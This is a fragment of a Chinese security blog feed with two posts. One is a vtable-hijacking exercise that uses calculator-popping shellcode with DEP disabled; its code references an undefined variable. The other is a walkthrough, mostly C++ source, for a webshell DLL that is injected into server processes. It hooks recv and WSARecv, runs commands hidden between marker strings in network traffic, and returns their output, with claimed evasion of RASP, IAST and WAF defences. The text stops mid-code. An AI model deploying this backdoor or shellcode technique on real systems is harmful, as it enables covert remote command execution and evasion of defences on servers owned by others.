<content type="html"><![CDATA[<blockquote><p>[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。</p></blockquote><h1 id="虚函数表"><a href="#虚函数表" class="headerlink" title="虚函数表"></a>虚函数表</h1><p>C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。</p><p>每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。</p><p>虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。</p><p>借用网上的一张图</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/vft.png" alt="vft.png"></p><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><p>总结下虚函数表的特性:</p><ol><li><p>虚函数表在 <code>.data</code> 段,仅可读,无法修改</p></li><li><p>虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。</p></li><li><p>虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,</p></li></ol><h1 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h1><p>下面调试一下,环境 VS2019 + x32dbg:</p><p>代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">#include <Windows.h></span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">class A {</span><br><span class="line">public :</span><br><span class="line">virtual int hijackme() {</span><br><span class="line">return 1;</span><br><span class="line">}</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">int main() {</span><br><span class="line">char msg[128];</span><br><span class="line"></span><br><span class="line">A* a = new A;</span><br><span class="line">long* a_addr = (long*) a;</span><br><span class="line">long* vptr = (long*) ( *a_addr);</span><br><span class="line"></span><br><span class="line">sprintf(msg, "object a address: 0x%p", a_addr);</span><br><span class="line">cout << msg << endl;</span><br><span class="line">sprintf(msg, "vtable address: 0x%p", vptr[0]);</span><br><span class="line">cout << msg << endl;</span><br><span class="line"></span><br><span class="line">system("pause");</span><br><span class="line">return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702163648268.png" alt="image-20210702163648268"></p><p>x32dbg 里看内存</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702163707394.png" alt="image-20210702163707394"></p><p><code>0x014FD028</code> 是 vptr ,指向虚函数表。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702163900420.png" alt="image-20210702163900420"></p><p><code>0xB131EC</code> 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702164047943.png" alt="image-20210702164047943"></p><p>对象是在堆上的,它的内存是 <code>RW</code> 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 <code>0x014FD028</code> 中的数据。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702164627019.png" alt="image-20210702164627019"></p><p>试验一下。</p><p>要在内存中伪造出一个虚表,将对象的虚表指针指向它。</p><p>修改代码</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> {</span></span><br><span class="line"><span class="keyword">public</span> :</span><br><span class="line"><span class="function"><span class="keyword">virtual</span> <span class="keyword">int</span> <span class="title">hijackme</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">// 弹计算器</span></span><br><span class="line"><span class="keyword">char</span> shellcode[<span class="number">0x1000</span>] = <span class="string">"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"</span></span><br><span class="line"><span class="string">"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"</span></span><br><span class="line"><span class="string">"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"</span></span><br><span class="line"><span class="string">"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"</span></span><br><span class="line"><span class="string">"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"</span></span><br><span class="line"><span class="string">"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"</span></span><br><span class="line"><span class="string">"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"</span></span><br><span class="line"><span class="string">"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"</span></span><br><span class="line"><span class="string">"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"</span></span><br><span class="line"><span class="string">"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"</span></span><br><span class="line"><span class="string">"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"</span></span><br><span class="line"><span class="string">"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"</span></span><br><span class="line"><span class="string">"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">char</span> msg[<span class="number">128</span>];</span><br><span class="line"></span><br><span class="line">A* a = <span class="keyword">new</span> A;</span><br><span class="line"><span class="keyword">long</span>* a_addr = (<span class="keyword">long</span>*) a;</span><br><span class="line"><span class="keyword">long</span>* vptr = (<span class="keyword">long</span>*) ( *a_addr );</span><br><span class="line"></span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"object a address: 0x%p"</span>, a_addr);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"vtable address: 0x%p"</span>, vptr[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> fake_vtable[<span class="number">4</span>]; <span class="comment">//伪造一个虚表</span></span><br><span class="line"><span class="keyword">long</span> shellcode_addr = (<span class="keyword">long</span>)((<span class="keyword">long</span>*) (shellcode));</span><br><span class="line"><span class="built_in">memcpy</span>(fake_vtable, &shellcode_addr ,<span class="number">4</span>); <span class="comment">//虚表指向shellcode</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"fake_vtable address: 0x%p"</span>, &fake_vtable);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">sprintf</span>(msg, <span class="string">"shellcode address: 0x%p"</span>, (<span class="keyword">long</span>*) shellcode);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">long</span> fake_vtable_addr = (<span class="keyword">long</span>) ( (<span class="keyword">long</span>*) fake_vtable );</span><br><span class="line"><span class="built_in">memcpy</span>(tmp, &fake_vtable_addr, <span class="number">4</span>); <span class="comment">// 修改对象虚表指针,指向伪造的虚表</span></span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line">a->hijackme();</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>重新执行</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702175254591.png" alt="image-20210702175254591"></p><p>在 <code>0x00DCFE44</code> 处构造一个虚表,只要一个项,指向 <code>0x00535020</code> 。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702174543785.png" alt="image-20210702174543785"></p><p><code>0x00535020</code> 是 shellcode</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702174636492.png" alt="image-20210702174636492"></p><p>这里涉及到一个问题,shellcode 是在 <code>.data</code> 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/image-20210702173559882.png" alt="image-20210702173559882"></p><p>应该就可以执行 shellcode 了。</p><p><img src="/2021/07/04/realpwn-vtable-hijacking-exercise/vtable-hijacking.gif" alt="vtable-hijacking"></p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><p><a href="http://pwn4.fun/2016/11/20/C-%E8%99%9A%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8%E6%94%BB%E9%98%B2%E6%88%98/" target="_blank" rel="noopener">C++虚函数调用攻防战</a></p>]]></content>
<tags>
<tag> Pwn </tag>
<tag> 二进制 </tag>
</tags>
</entry>
<entry>
<title>利用 Hook 技术打造通用的 Webshell</title>
<link href="/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/"/>
<url>/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/</url>
<content type="html"><![CDATA[<blockquote><p>本文首发 <a href="https://xz.aliyun.com/t/9774" target="_blank" rel="noopener">https://xz.aliyun.com/t/9774</a></p></blockquote><blockquote><p>标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。</p></blockquote><h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p>Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 <code>ws2_32.dll</code> ,JVM,Python,Zend 等解释器都不例外。</p><p>winsock2 里 socket 操作相关的函数 <code>recv</code> <code>send</code> <code>closesocket</code> 会编程的应该都不陌生。<strong>hook 掉 <code>recv</code> 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。</strong></p><p>由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。</p><h1 id="Inline-Hook"><a href="#Inline-Hook" class="headerlink" title="Inline Hook"></a>Inline Hook</h1><p>Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。</p><h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><p>具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(网上的文章很多,需要的见完整源码)。</p><h2 id="InstallHook"><a href="#InstallHook" class="headerlink" title="InstallHook"></a>InstallHook</h2><p>安装钩子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> START_BLOCK <span class="meta-string">"#CMD0#"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> END_BLOCK <span class="meta-string">"#CMD1#"</span></span></span><br><span class="line"></span><br><span class="line">DWORD dwInstSize = <span class="number">12</span>;</span><br><span class="line">BYTE RecvEntryPointInst[<span class="number">12</span>] = { <span class="number">0x00</span> };</span><br><span class="line">BYTE RecvEntryPointInstHook[<span class="number">12</span>] = { <span class="number">0x48</span>, <span class="number">0xB8</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0xFF</span>, <span class="number">0xE0</span> };</span><br><span class="line">BYTE WSARecvEntryPointInst[<span class="number">12</span>] = { <span class="number">0x00</span> };</span><br><span class="line">BYTE WSARecvEntryPointInstHook[<span class="number">12</span>] = { <span class="number">0x48</span>, <span class="number">0xB8</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0x90</span>, <span class="number">0xFF</span>, <span class="number">0xE0</span> };</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNRecv )</span><span class="params">( SOCKET, <span class="keyword">char</span>*, <span class="keyword">int</span>, <span class="keyword">int</span> )</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNSend )</span><span class="params">( SOCKET, <span class="keyword">char</span>*, <span class="keyword">int</span>, <span class="keyword">int</span> )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNWSARecv )</span> <span class="params">( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE )</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">( *PFNWSASend )</span> <span class="params">( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">InstallHook</span><span class="params">(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction)</span> </span>{</span><br><span class="line">DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);</span><br><span class="line">DWORD OldProtect = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))</span><br><span class="line">{</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"recv"</span>)) {</span><br><span class="line"><span class="built_in">memcpy</span>(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);</span><br><span class="line">*(PINT64) ( RecvEntryPointInstHook + <span class="number">2</span> ) = (UINT64) lpFunction;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"WSARecv"</span>)) {</span><br><span class="line"><span class="built_in">memcpy</span>(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);</span><br><span class="line">*(PINT64) ( WSARecvEntryPointInstHook + <span class="number">2</span> ) = (UINT64) lpFunction;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"recv"</span>)) </span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, &RecvEntryPointInstHook, <span class="keyword">sizeof</span>(RecvEntryPointInstHook));</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName,<span class="string">"WSARecv"</span>))</span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, <span class="keyword">sizeof</span>(WSARecvEntryPointInstHook));</span><br><span class="line"></span><br><span class="line">VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="UninstallHook"><a href="#UninstallHook" class="headerlink" title="UninstallHook"></a>UninstallHook</h2><p>卸载钩子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">UninstallHook</span><span class="params">(LPCWSTR lpModule, LPCSTR lpFuncName)</span> </span>{</span><br><span class="line">UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);</span><br><span class="line">DWORD OldProtect = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))</span><br><span class="line">{</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName, <span class="string">"recv"</span>)) </span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, RecvEntryPointInst, <span class="keyword">sizeof</span>(RecvEntryPointInst));</span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(lpFuncName,<span class="string">"WSARecv"</span>))</span><br><span class="line"><span class="built_in">memcpy</span>((LPVOID) FuncAddress, WSARecvEntryPointInst, <span class="keyword">sizeof</span>(WSARecvEntryPointInst));</span><br><span class="line">}</span><br><span class="line">VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="HookRecv"><a href="#HookRecv" class="headerlink" title="HookRecv"></a>HookRecv</h2><p>hook recv 的函数,程序在执行 recv 时,会先进入这个函数。</p><p>在这个函数里,调用原来的 recv 获取数据,判断是否有<code>START_BLOCK</code>、<code>END_BLOCK</code>块,有的话就取出块之间的命令,执行。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> WINAPI <span class="title">HookRecv</span><span class="params">(SOCKET s, <span class="keyword">char</span>* buf, <span class="keyword">int</span> len, <span class="keyword">int</span> flags)</span> </span>{</span><br><span class="line">UninstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"recv"</span>);</span><br><span class="line"></span><br><span class="line">PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"recv"</span>);</span><br><span class="line">PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"send"</span>);</span><br><span class="line">PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"closesocket"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> rc = pfnRecv(s, buf, len, flags);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span>* startBlock = <span class="built_in">strstr</span>(buf, START_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(startBlock) {</span><br><span class="line"><span class="keyword">char</span>* endBlock = <span class="built_in">strstr</span>(startBlock, END_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(endBlock) {</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> start_block = <span class="built_in">std</span>::<span class="built_in">string</span>(startBlock);</span><br><span class="line"><span class="keyword">int</span> endOffset = start_block.find(END_BLOCK, <span class="keyword">sizeof</span>(START_BLOCK));</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> cmd = start_block.substr(<span class="keyword">sizeof</span>(START_BLOCK) - <span class="number">1</span>, start_block.size() - <span class="keyword">sizeof</span>(START_BLOCK) - ( start_block.size() - endOffset ) + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> output = WSTR2STR(ExecuteCmd(cmd));</span><br><span class="line"></span><br><span class="line">pfnSend(s, (<span class="keyword">char</span>*) output.c_str(), output.size(), <span class="number">0</span>);</span><br><span class="line"> pfnClosesocket(s);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"recv"</span>, (LPVOID) HookRecv);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> rc;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> WINAPI <span class="title">HookWSARecv</span><span class="params">(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)</span> </span>{</span><br><span class="line"></span><br><span class="line">UninstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"WSARecv"</span>);</span><br><span class="line"></span><br><span class="line">PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"WSARecv"</span>);</span><br><span class="line">PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"WSASend"</span>);</span><br><span class="line">PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"closesocket"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span>* startBlock = <span class="built_in">strstr</span>(lpBuffer->buf, START_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(startBlock) {</span><br><span class="line"><span class="keyword">char</span>* endBlock = <span class="built_in">strstr</span>(startBlock, END_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(endBlock) {</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> start_block = <span class="built_in">std</span>::<span class="built_in">string</span>(startBlock);</span><br><span class="line"><span class="keyword">int</span> endOffset = start_block.find(END_BLOCK, <span class="keyword">sizeof</span>(START_BLOCK));</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> cmd = start_block.substr(<span class="keyword">sizeof</span>(START_BLOCK) - <span class="number">1</span>, start_block.size() - <span class="keyword">sizeof</span>(START_BLOCK) - ( start_block.size() - endOffset ) + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">WSABUF outBuf;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> output = WSTR2STR(ExecuteCmd(cmd));</span><br><span class="line">outBuf.buf = (<span class="keyword">char</span>*) output.c_str();</span><br><span class="line">outBuf.len = output.size();</span><br><span class="line"></span><br><span class="line">pfnWSASend(s, &outBuf, <span class="number">1</span>, lpNumberOfBytesRecvd, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> pfnClosesocket(s);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"WSARecv"</span>, (LPVOID) HookWSARecv);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> rc;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>这里还 hook 了 <code>WSARecv</code> ,是因为我在 Tomcat 上测试遇到个问题 hook <code>recv</code> 后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 <code>WSARecv</code>、<code>WSASend</code> 等带 <code>WSA</code> 前缀的,加了 hook 点之后能正常读到数据了。</p></blockquote><h2 id="DllMain"><a href="#DllMain" class="headerlink" title="DllMain"></a>DllMain</h2><p>DLL 入口,调用安装钩子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL WINAPI <span class="title">DllMain</span><span class="params">(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</span> </span>{</span><br><span class="line"><span class="keyword">switch</span>(fdwReason)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">case</span> DLL_PROCESS_ATTACH:</span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"recv"</span>, (LPVOID) HookRecv);</span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"WSARecv"</span>, (LPVOID) HookWSARecv);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> 